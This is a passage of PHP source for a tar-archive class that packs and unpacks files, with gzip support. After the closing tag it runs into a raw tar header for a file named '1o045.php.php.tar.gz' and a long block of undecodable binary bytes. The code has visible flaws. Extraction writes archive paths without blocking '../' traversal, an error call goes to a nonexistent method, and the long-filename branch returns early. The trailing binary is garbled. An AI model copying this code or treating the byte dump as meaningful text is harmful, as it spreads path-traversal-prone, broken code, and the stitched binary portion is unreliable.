		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>1o045.php.php.tar.gz000064400000060637000000000000007774 0ustar00���r�Ȳ د*��$K�H)��"%���(R���y5 	� A��5O����<�٘�͇�C�<�M��¹��_2���������3������������p
��n٩��7���&+܄g��]��0d�v?,�1���o9]����G�����t0�F��Cρh8a�?���V5NAM�3�w���'4�?����jL^yf�Ih�f�����o��?�,����0Y+�&����Ɍ$k�p�I\q͉���?]skm*+�M2�o=�w�:��C�'������zKNU��2BI��%
ey.�/��J���Z��>�ꋭ	���P�z�H�m��_�Ӿ�3nÑ�/FU�(c�iK�����o8�Ea�k������#M�;~z9z|�E�7S�8�?~aI�_�/�����FDE�=ZQ���
�S|Y�F��$As}�at�|qH�v(K/���	�R�'r��d����T�LE�v�hʚ�9h���«hP��@֦�����D�-5`|^�
�����Zot/i���X�4
�j�,8�U�S�S/3�Q+/� �^�/^f-�d/���������1�'y�`_H2v�H�ߋ����<��Q�-D�������k�}��<����蝩^��r�f��ݡ��w�\zՕ�p�0�	L�}w���7���-
T�E�K�,�&�i�4Qь����k4͇x�a Ny�wKY�\f��M�4���%Ӭ���<��S�A�8�Pq����(2}\��P�2�T+�N5sMhr
�8e�!��NRE�"`��S#x���Yᙽ�f�5}�rZ�23B�xF�
*3D|Y�3.�VT�Ž�@��꿳�1b~�n��é�A#�+��(��9����d��ud8iȋ�>��)Z*p=�	�ɋ%��0�#�J�,��	Ҁo�$��R�x���Ȣ_���m��=@��C�5��p*~�SFF�-o%�-H�ߖ%�����o�
��7��xſ�>u�S�JSYa�!]7x��uXw0�o{��d���w��^�8K��Jr�Vd<�T��.�,	���KC�}�:
���mT0��(� �q~�:d\�x�5���:ʔ	����-��zO�(�>@ʜ7Wα%x��
�m�������: 	���d���x�:j��n<�-_jh�AY���h��eX� ��@C�8;N�_����G	���q��f�1�s�d%�U�X��Yx@)����JY����P�:����?�
O=x'z
�1�N���u�h��jNe�C���yL���/�K9����z[rY�J[x����ũ����a�-(�|�:�s�C�����җ�G���Ék@���9ϣ�&=�ś�Dyi���(�Pk
��H�
�H>x���CEyĻ����,��"C���;*h�||e<�w�W(�l���p{����^��FF<�3VП�܉�.9m
m/���u����۹f�ҝ_��'F/����.���fn��Z��� �
�y�:��ꙓEp����^ ��@Z�|K㬓Pd9Erǂ��$.�
� �6�^dh���uD|!��n�'oǜ��eur��A��d��0�k4gQ�sh��$E���Y~��R(�"Ɇ���nrG�ݶ�R����ڻа�/����NC5q~E�1�i��
����1@��&���\!���
ꋴ^�0|� ��$�Z��L�ov�Z���ɖ��o'���ș}�5�S@f���8�u:8�vw
іij���R��iv�ݧ �t4��-LR�Eʂ�!�Og'e4d��3���L�q��ӕs�v�c�t2�{<o�d"e��Q2��娈M�`�8/*/ZH˜��2�3������Y�*�`LP�br�PIВ�����m�&f?H"�b�QQPO���P�4��8P��H��-
��jֳ��r62�����;�ĩ�jN#��,���TD3Ϙ�8�L
H
ڼ�P��Vl�����A�%Hc�L�NT�h&��=C!����I&��r㙋��K�i2�j����44F�6L���錠����ZB8ͭp�e�!V ����|�UaC� #�
f�$�e��븴�!{5ڍ]�h��g~c^e��+��6*��n�t:ٖ�f��y�hb�˶a��+�A�f���5>;Z��K*���Z/�T��Nr��P�3��S�t^ЬP��U��bb���FB����p5FӊN��\�S���)���;����`�����"3�4D#$��	2�D��\]�F�ZW�؜<������1l�0{��@�A�/8�Q����["Ɯ�ĘEo�3e�-�)pP1�&pXL#���v
h[��4�C��z�2�	/�N�|��Il�,�p[�DЦ�p7�&K6�K��nǂJ�^v��Hwa��T։$C��HJ��Γ��#�&�]�����A*�$�C^U��C$(rH}VT(b����T���u��K(�&�R��^6�-{���K��kfR�\=3�l�����dx�R//�b9��B�[#*�T�	�j�!u�������ӗ$�q~�����������/0�QS�/�˫��V4�:�v0T�0��p����9��9�>T�)?�3�fn}�1.L��1�����}I����Z;��+�#X��M.NK�:-����ɮ���5����I&��7���{}ea���oL~-a#�j]X*��ӘfCo���Y�n}�v��@7/�`qI@_ᵵ"1�T(���A*l,�]P�!��0�]�̦2#�)�+�X"T]�6x�hQ�I���}��B;ɟ��`�z�(_#Ԡ�9��d�{A�D�lP	�?/�Z�E�R�|Nh�xC*+�O��-8/Z[��s�}wJPea��f0��E���DA�[�3��x,ye��	�`K
�J����T�<W�K?[ڸ��h��PuB�@.Z�Wƿ��~7�L��d,۔�s^#�@�:�Z��<��2!����,
C��Hs;@�5�q`���O�"��Aݼ*j���@��l>g�%?D¤��5�a`�0��=v`�׀M`A������p�Ѐ	4`�/��RX�v`K+0�p[�K�V�]Ӣd6��JV�5���6l�@�Ru����8-��?N�n�S6eQ�=9N�S1���q3�5�v�!қ�"�������~�7���ބ�ӛ���teE��j�����7�s�	RD��z�jY{�J�{�xGY��y�-	�e�HB[4�b��3KnD��	��	���g���+*<�����aZ��)(E�%~KK `8E����o���_�E�h����qB�+��,3�v�p�8!Bkoa&Վ�'�im�/h�i/�JB��9F��]z-/w��)�5�9T�Hv�����6��x�#ը�p�cc��s�*t�-fP�i��.M�>�2�.M�S��3�0��HڢǓ�lXĨ0�M�5r)�����USϔ����႓Y��o����U��e8MC4X��;��L:P��/6�wf��0[�%��-�h��.��;�o�~9���v=m��
Z^<�x������Ȋ��u���1�8p��gk�yi�Mo�<l����
�Wcq�N]n|�@�d^��>I�R���뱼�%,/�P�Nl����Ø���;^��@@a�,�L4	Ei�S$����:�D
l�@�ҹu��D&]EY�qk�H�]�SY���{؀�τ�a�"kL^^K#*�{!�>"Φ�ik����������w�������ۚ���U� �NV��xi�
It3T-��ɣ��Q�څ�|L����wA�?{��R2ʬ��UQ��$�u�o��s�*
��]i�*�7 �v�����pὀ�
������ݺ�n����9�U#�������@k�h�M}ڲ�u�
�?yM��Z�6B��u������3GS��C2i���L¥�����/��g�`'$|�xu���5>]�x�<-٤2���r��m�Nq��U��~g�h	 ]�Z;�y�c_��k@�%�[be=��!<#��#�E�5踆E&�D� ��,�_"��2��;"�n}�'�����ͦ��\����ז჌/_�@�}�^���!����h�Ih�@h
"���!�Tѱ�}Иcf�9��nD�M�	�9�'�o�&�eҩ끪)fQ/�2HP���6�{��u����%��Ղ�)�
�1�\�!�z#(�y��u;���DϤ[�w���2}�t�J��bwE��b�9��Ή��t3�5�5<z�1��5AC����/8%)��#�:}��p�!�2&�#�L~�t|B�5�s&I�hX7H>��!m�=?��{�L���r��s=B�[e,����+�Z�E�t�
�8�:����k����K:?@��b0.@��sH�t�z�ɩ;�9oQK>�=)��% ��cb�mc�:�g��Nz���X�4������]�#.Tt0^�ʣ�	����0ؤ�q��H0��hS:��Y�bs�!�%;���5��>hW���ii��OŞI.��������K�fzp�L�%�3 cR[��"��<����O�������+�w��ho�+���ʻ��Ʒ�������w�7|Ǝ[�Ȓ*�#�=�@��Ց�W�	KŒ�9��D"T�5��<�J/�K����M�H�{���鈚D�‰��iO�gl(S=���@j�/��l�<(�����$5��;
6����K�������s��V���2M�$�Hv�#��8iHh4\�ӟ݄+�[f�GU�q�ş㫗9�1\9�䙾F�y�9?E��^�y��_D��'	�I����'�i�ĸ�{����=}&4�;�Ѡ]Y���uunn+��d�Zǝ�j�� �`�"�;eE�k�'ƛVI���W���1~V�:G��.��vt)�H��
�:
d�<�[^�`�CKy�8#G�kQ��5���j��,כ�z�LZի�?9����Lz�xu��!º�M�w~D�bh����ȩS8#ø`��s�,�u��/t\�_tÇ�kQ�E��$!�>���GL�@����$��vO�8�/��sPQ�h��"Š��E/�B��!�xsO���r��iU��
3JrQPnڞ� �MQ���i"�D~�vB���ͽ�9��� P��5�$9�3�6
7��䕮�ʹL����7�O������^ 5�G�I3� �N^�ȇ"ۨ�9�b��=��&�?�}Nx4F�V�����>;T�F.���&���0�K�֖nI�<�2E�rs��Z@����R<�V��9b��@�J3�h1�J�j��I�۹�˩��S͒����B��P�`�]�`�!��X�4U7Z�ټ_����{R��q�g����/ ��,$;�;���J9�w�wP�!��G7�c�^���Of)Đ*�	�{���%�nU_�4��r�V���W�:��g�� ���tM��l*�!�tK���<W\����f��p#� ���߇���_#ua$�v��׹�n4�*��.Z�kEL�ϒ,�09�W`�;e)#
�yҁ%�����3=k�as�ت�*���_���9��������+l>�mV_��H��a�J��8	;�@']��ā�C�:}�����ֈUBMj��K^N��+�ʉ�=z�/���"��c�[�ӂ.RUBj�~��E=�p?�;'�0-9��k�8���#�r#��C�|����Rs�#�u(�!��\(N����k��F7�3M��zE��"��
[f�G,-%�R*)i������j�8+�9=bw"�#dއt�ы�")x�[����,��^gr�kJ��lٵ�b��f��Jv��M��W��U�ԝR-�WW�33͞���m�i���\aX��k�h���6lŖ�"ar��`��H�,
a1y1���5b�d�E���wj'3@�ki*/x�)���mkQBZ�5/�����A����Lp�����
����gaeQVn��Fd6�$���ė��'!)pm�2���5a09I���1� ��Wn(4�ǧ� �L��K>�CMH<�AX����8{��K�K����`��j�H,eA"[4�������Z]�]r�8�]J�;2�^���6��Ra"�пJ�=͵'�)
��z&��r��h�C�0J�ڹT��+�n)ZG��F��o��q(��d��Z��A��hC��C�Vnzz��)%��-��B�n�l,�����:�!C��p����v���&Bd6AY��F�R:�ak�x��I;7�j�W͉��ᖪ�᭬���6;z�h[
��~�N�"%14^D�U��ƪى�L<�Yx����Ed�K�Y66���G��B�ႍ�YO�{��(�*�	�r�@p�xT����i�&�v�<��@Z,r9���i��S,;n����S7*UB��8��g��#�q)���
'M�7c��P}��B��-{ؙ���g<NZ1���`&<䊩Ь���m�6�����98����Cz���d��*�Yg�R���OD�9�><yֱ�t�)~y�Zr�ٸ�8V�6�V٘�ec�nG�٧E詜�«��y�>�!17��2뙡N�A�z�=��lLt���`&>�d���
�3yYm�e$�.n�ٗ*�U�9�W�Qv<��X�Ԥ�����n�k��jX��-։G��l�K���HgYOWQn�w�~��&V�vR�ծg=k�[uI; �d�B�О��Җ�"h><�����)0G���&ui�o�#-���R�n'?�A���\�7�W6}��=?��\~>>�Ŝ���#���L��n�mǡB�-�ꝺ�Vz�z����\�����YgY�7vOB.#hOJ������X暍�c0��
Ro�X��eY�J��$��
Mv\y��a���(u��7_�b�]}���+R�Ј&V�]�����V��o�7My��\mXYuا�h�b�%,Ѿ�����9X�w�r!ė�c1�N�g�X
�@���h�t��Tj�n��e�Z>{f��r����&��Su�4j�ga��r�NnT+�R[�6�U��(���ppzG2�ZVۦ2����w�=�>ӏ�v$��'�I2I�M,�)L<��*���XK�/�)?��Q�ɡ6���?�L�Ώ�r�Q1C�êI�p�$ۏ0��2�$I`�pc���V#�C������6)�ٜs����ʁE
ǡw	��j�#��v
!.�?�܀�.5����,%����hw�����5�ͪf�)�N�����IJλW`5�ů�Tl[��8zƕ�����K��h�@���p8��q��_��F7���/�F�U=���b�3��K��&ҴS=�^^@^!ã{�X��w��C���/�فl������h'�5x��Y���#ǩl|I�f������m`g?u�b~���꒓�M8�۶Cn��_V���6�W8�i�9sŇފE�
�9�����5��$J9'�p*lt��I��J��<>88�A^A{u������0�]X^/��B��
@S.���7���Cr��0�ȝ`��W�a_�[,�^�N�q�+Hl���ye���k}v�$D�Oַ[��Nw^H��@4����yp�}����P>k�4���4���1�ޠ;�t�Z��"�s���?Rڶ:q�;�:t�~d�+\��\������0�X��e9����l��+��p��~A�'���l�=?hq|��j]�J�(0�!�>��*�e]fO��
Ѐ���I�}4E���n�K��`̱��
�y)u��_���������c��_����g�z�O�������_�������+����������n)�ˏdq�6|�N�_���Bm)bg�����Ͼ�ɈC�i���J���st��B��!��w�L�,ds����J`WM���3�$}�j�k6�^�tc�9��d�BE#w�ѓC��'��6�6j�f�36��ӧp҈ps©kM�%p�vr�d� ���U����1D�3{k��"��]���c�I��^�	�4���0�:�Ov<Y�]�i�v�O���)i_�����d۳��h�[7(sD�f���G�G� A��K��)@J�xJfQ�7�*>��
�PX���	a�.��+��]��%fA_��Í�v��f�n���R�8��[�hl����j�$��ނ��[�{��]��[�93���V<4���5�6f��¨�l�6
�_��oj4zuxY}��.���Fg��3��!4,ÙpO� 	bMB[�=��z�^/�<�>�� �rV����r.*��(����o1��	��"�\��U�5�5���M�
J�:A_��'�7�|x?:U�����������s#�EL�c�{Uұ��7q�9d�m~VzC=󒎭0Ҧ�Q�n��]p9�FrH�	P8X��}+-1,)ǹ0�u��ho�8��ٹf�ص��Z��L� ��s��C�x
��L!�g����q<P��)��I6�O��e�eV�����cI�7���]髵���"!�95�~ky�d��Ⱥ�/r���J��-�i	�Q_ڍ"]h��=T����s�hZ�S�?W��݈����T�᢮��>Ѽ�;a.����	��Ohs��4'�,񳨓�-��i��:h��es�}L�,uA�=��A�1baI]s���η���Y:-�1ǎ�7S7sZ¼n�ā�N �i�;���]W�t�MZ�o�d#��0q�t�c��ř���C�9vt���36#X���z�EK�I�QkT��v�إ���u=�腙I��!�lF��5�+�*��+�r'���9�F8�S_�8Z�xmC�؁ ��xO3��)����{~I�"֫Я#G��7|���C=�_i+y>�����iA�]����~F�~{������8��.X���`cW�ƖF�D-n_oq<j�}{u��7
��Φ-b��Z�H�U��sFЃ���7Z�ܥ�
k1�d��I������ҫn4�-�߮X6�,�^&�|��L(Y���p��E��d���2�d���;<�v�.kI�D#q�	g��ْ����K�\vT�,��l���_��Fh

�� T�Ǝ "NV�垸U�
��^K�FOF�p�}ǐY�b��q�|�qf��!;Ӳ�Vo���ȕt�C:�'��2�t����'�s`q(]j�|���{}�����@ҍ33D�&��?6�q��E�!R�;`'��m���wVw<8�䔛	����ui23�5M^x�_2�H&�a��2��q���sb<��c&@�An��G�'��{AsG� �笓T�NJ3v��X�g�6�k�eM�aB�hI����s�}[��nkņ��h5�R88NO�<o�E��:e�硱��<�u�d����n���Hơ�NC�B^�T��P��(WkH
Fzq������I��2ޙLS����r��-W3�V�Z�K���o6�/H/�{���x-�k�Y�!�ʢb�[��|��A�F��nTZ�T��*�g\�m\���C�iG�E�i,kV��q��R��;���	�����'���������H$��9��/_�rG�v�L/CNa�B[0�������k��[ݐ�t��rp��1;�7V��v;=�‡�ÛM9�+H�O�o(�`J�͔W/;%�Dm�?%O����-�J����%?j��]۱�͘[�����ڸ�����KL�bs�	W~�ݚ�%'��-��
O,i#�#�n�~4�H�a���Xj^7l|g�����<��/�/D3�O1g*b�=Hm�6ňX�GÉH.�j�P��m�H��7�2�HDc�7+�=�����'r�n09?�{?���L8mD�U��{��
7��9�����Sx0)��{f6�b��O�?�����2	�g����ٺ�/�_L�F�ॲ�\.��Y��.��a�6zD,�P0N��^���*�׫�Ԁ�8��I\s�[,��|hsmt;U�Nq��eI���7}n0	4)�y�8��)�ߠ�0o�x3�`�O�H᳟{2�y��Ņb�cy�Vm���fD��e>cq�HC_��]7;h�o����w`G�q�ML����@���A�"B�I�]��A��ک�Ì�:���-�P(�id�a!%�M{�.�!�jϛ�U�>�7�	�m�0�h�۹B\��ju&g�򝜚-ʥ`j</r��$Z-
�?�g\��'<�
�<?�ּ���8�I��l�Q饞V�"��3�]�U�u��+=>�R��p�g����Nզ�Zv����f�J�r&�M����Sz��n�U})S�L.5L��i9SL�S�tt6/-�o��~+UB��r/X���)-UHIcϠ�*fF�G1���b&�Iq�B���MQ�I,U:�:�2��O��tcь�#��DKeӏ�`��*gB��l5�Z�S��Jo�2�j�P{��N�}T���xs��U�+4��Š_7�F/?�d�t`�\����|�\�Ճ���t1O��Ң_h�ҕ;�Ƿh�3�|�a2ak	�)\U�X�"G�Y1�E�x��?
�u�z�!���c�S�x9K�i�]�ؤ!?O֓ј/��b�^n���u������r��,����<R��v��Ao�|�#�VdS6�z��q�6��1᱘�?����l�U�V�=<D���By�lyXf��ȿ/��R�����@�9�Er�p@�Bڥfi����<��U��:�SjA���׍27���`s?�wZ��f�J�J�A��]JM����
!�g�6?yD+�?_4��T�y^���VI=�D�F)�.)�t�m��C*==�ӣC:��&��y|je��t&�h�'%n��B�0H����r�Q�)��\k�
��b7���Yv9�<�ҥ�>��7�Ԥ�k>pB*/�d6�L���pq�/�Q��L�QH7��QiOvmy�.�;Ňq11�#���^�bh��'�}a���ba�n���r'��&���(ȓM��P�-�xW~�ԇJ����A��W�I-(�=��p��Nz�C-7Ȧ�;��Q[5ӯ�������n��vV��:,zq�n��7'��T��ˍ��I�I7�ӧn.�k�&��Lݟɏ��<;�?d���*��?*r�3��z��n�˙Z7'�[�]:&�j�ʾ��O��آ��/v�|����E�Y���U_�7��l��~a�Om��}�y.�l$[�<�i\TKR�15�Zᶧ(���9��\����"���pU��e�SG�'�!�L5��i�x9wh3�2���.R��[��䙫���g�_OFb#R�g��Y6<�s4U���t����S��^
�a��C����*����������AYT�~6"n:��J��|���YvJb����SZ��+�_M�N<�\�=�g��P��S�6[ե���:�e�
<
�A~Y�
�/uv�鳽y�;�<m���2_��v�y�M2�����ŮZY���I�9��<T�ϻ`IY��F0&�������S�?�7�vG�;���ߚHR��?�C�Rh�ڔ���[���)�%�,���,i���lZ�:�񈀁�: �&�Hz痥���f��~Hj'�V����~��R�]q�@h�Q,�^z�=I��EyD�<?I��.Qfm��.��C6?)���<��O��$�kuv��vT���N>�<�����T��ýfc=���D�0k�j��Tx�>��Pa0�f�����r�_Vb�e�5X,J\/��jO�x��+��<�8�w�CYZx�A �k�4��eU[	�u���R�֚�[O;r��uz��r��9M�b@Yk�谱��չ?�HZ_�Ʋ;M]W�a_�>���z�-��q7/��#I�w�[O���Wk)Xa[��lo�Ϯ�Qw�c�}>��V�(wXֵP(�x,�Q��ւ��L���%Ԭԩ�����a�v���f�\./���R�Pq�7J�Zg���Mw��U�uPF�ueY���P�o��~�w[����V�{ҍ�(�f"��Sa3V"��ߓ�Ǟ��>1+G��ʈ�j�Nh�Mc��'1��%ϓ'|؆B�2��O�x&�/�˭xe#��|�_a�lbΆ�_�H�L;��V'�B��-�<�xq��ʠ?�A>���2�z����K�d��V�yy_�ו�C(�U���2���x=�S�idQ(oC��p�a���pd+�'��Ux�<��\�򷢍�~.�Ԥ�v<���JS���ȪV�C�Y3Z���}Qz
t�Q7'���6RV��"�n46W�ː��Tb�������M3��q��V��T�8�V[�z#�Z����q�5�w�I�<���6*Z��U��i��OV��U3�X�W���]�*����4�/���S�}-+>�\����Z%�z�漟��W�կ���Y��N�ʞ]7Z�q^���X���:�2b���@��e9����H�9�ГJ�>�H¦�{m]�D�e��Zl�����/w��Q��%��Qg�?RK�];_
����6�.���E�ӊn�N�_�����I'����V�+ѭ�ɬ��1�<�Q+0A3��W��z�EI���Ȱ3NL���L,�G�������ɭ��Z_{\D�~"��[��9�W���?;Jt�j(��?ʑq�TY�&�>�k�l�,���c�@sީ5���i��}x�b��T�mj=��<��!�{�hZ'��T�A�?�=�Z��>��RXD��\�:x~�v�Z3���h0�ځF�Y�4��DO�������a���h�T&�ά(��ʶ� ͣ��c��ٖ�]L����D�;����bS�K���h������[�4X�$%�H��ld���HsSi��[��x�Gb?��H���J?	֪��\x<��Ck�?��D��\+�G��>�i�:���b�>C�QU���Z��cRy�)�8�bҚW�>8Ek����@$����W[��f\��q>�>���w�8qPױ��P����Vl7N�Z}$fC�q��xB��&�Xm�I<�0l��´W���20�&��mq�B�7P���SmIB-TND�{�O�{��٨���u~�ی7�N41��������H�<�E�WR��b�2�iԳ��:1g�Ѷ���h�ȉx��iċq�
�"���Ʊ�nњ��\*2;���Cy��^W�͵�F*˦j��$�|��q����H���]m!M��Ҡ�F9�Ҩ���Զ�4�B�T�q����x��
��z#�'�[O�Z��F�r�F�O�'���i��m��I��|8Ώ�t���R�aFhL�d�jb��E�Â�GV�^��ΎZ��d�Nc���]gb%%���a�ĮʠB�4��e�j��e<��hCh���1�xi�o���D%4�(y�r�^}�������37'��"?�������k�m+X���T���:�P����S0��y.����hpSwڏ�b��6v�o	�0S
